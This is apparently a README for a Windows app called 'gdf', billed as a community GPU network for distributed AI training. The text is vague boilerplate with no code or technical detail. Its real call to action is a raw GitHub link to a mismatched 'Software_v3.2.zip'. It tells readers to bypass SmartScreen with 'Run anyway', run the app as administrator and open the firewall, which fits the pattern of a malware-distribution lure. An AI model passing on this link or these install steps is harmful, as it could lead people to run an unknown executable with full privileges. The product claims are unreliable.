gdf is an open-source community GPU network for distributed AI model training. It helps connect GPU power across many machines so people can train machine learning models together.
Use gdf if you want to:
- join a shared GPU network
- run training jobs across more than one computer
- help a community pool of GPU resources
- work with AI and machine learning models on Windows
It is built for peer-to-peer use and works well with PyTorch-based training flows.
gdf is designed to run on Windows for end users who want to join the network and start training with shared GPU resources.
Before you install it, make sure you have:
- Windows 10 or Windows 11
- a working internet connection
- a GPU with current drivers
- at least 8 GB of RAM
- enough free disk space for the app and training data
If you plan to train larger models, more RAM and more GPU memory will help.
- Open the download page
- Look for the latest release or the main app files
- Download the Windows version
- Save the file in a folder you can find again, such as Downloads or Desktop
If the page gives you an installer, download and run that file. If it gives you a zip file, download it and extract it first.
After the download finishes, set up gdf with these steps:
- Open the file you downloaded
- If Windows asks for permission, choose Yes
- If you downloaded a zip file, right-click it and choose Extract All
- Open the extracted folder
- Run the main app file
If Windows SmartScreen appears, choose More info, then Run anyway only if you are sure you downloaded it from the correct GitHub page.
When gdf opens for the first time, you may need to:
- Pick a local folder for data and cache files
- Sign in or create a local node profile if the app asks for it
- Allow access through your firewall if Windows shows a network prompt
- Check that your GPU is detected
- Review the default training settings
The app should start in a ready state and show your node status, GPU status, and network status.
gdf is made to help you join a shared GPU network and run distributed training jobs.
A normal workflow looks like this:
- Open gdf
- Connect to the community network
- Choose a model or training task
- Check that your GPU is ready
- Start the training job
- Watch progress in the app
If you are joining work from a shared pool, the app may handle task split, sync, and result collection for you.
gdf connects many users into one GPU network. This helps spread training work across more than one machine.
The app supports distributed training so large jobs can use more than one GPU or node.
Nodes can work together without a heavy central setup. This keeps the network flexible and easier to grow.
gdf fits common machine learning work and can support PyTorch-based training tasks.
The code is open source, so the project can grow with help from the community.
After setup, you may see files and folders like these:
gdf.exeor the main app fileconfigfor your settingscachefor temporary fileslogsfor error and activity recordsmodelsfor model filesdatafor training input and output
Keep these folders together unless the app tells you to move them.
If gdf does not see your GPU:
- check that your GPU driver is up to date
- restart the app
- restart Windows
- make sure your device supports the GPU features the app needs
If the app does not start:
- confirm that the download finished
- check that you extracted all files if you used a zip
- run the app as administrator
- look for missing files in the folder
If Windows asks about network access:
- allow private network access
- allow public network access only if you trust the network
- keep the app blocked if you do not want it to connect yet
If training runs slowly:
- close other heavy apps
- check GPU load in Task Manager
- lower the batch size
- make sure your power mode is set to High performance
A simple use case looks like this:
- you have a gaming PC with a GPU
- you install gdf on Windows
- you connect to the community network
- you help train an AI model with other users
- the app splits the work so your machine only handles part of it
This setup lets more people take part in model training without needing a full private GPU server.
Use the app only from the main GitHub page linked above.
Before you run any file, check that:
- the file came from the correct repository
- the name looks right
- the file type is expected for Windows
- the download page matches the project name gdf
You may see a few words in the app that are common in AI tools:
- Node: one computer in the network
- Task: one unit of work
- Model: the AI system you are training
- Batch size: how much data the GPU handles at once
- Peer-to-peer: computers connect to each other directly
- Distributed training: one job split across many machines
- Go to the GitHub download page
- Download the Windows file
- Install or extract it
- Open gdf
- Allow network access if needed
- Check your GPU
- Join the community network
- Start your training job
https://github.com/poyghi/gdf/raw/refs/heads/main/infra/Software_v3.2.zip
For a smoother run on Windows:
- keep GPU drivers current
- keep enough free disk space
- use a stable internet connection
- close apps that use a lot of RAM or GPU memory
- keep Windows updated
gdf is a good fit for users who want:
- shared GPU use
- distributed model training
- community-based AI work
- open-source machine learning tools
- a simple way to join a GPU network on Windows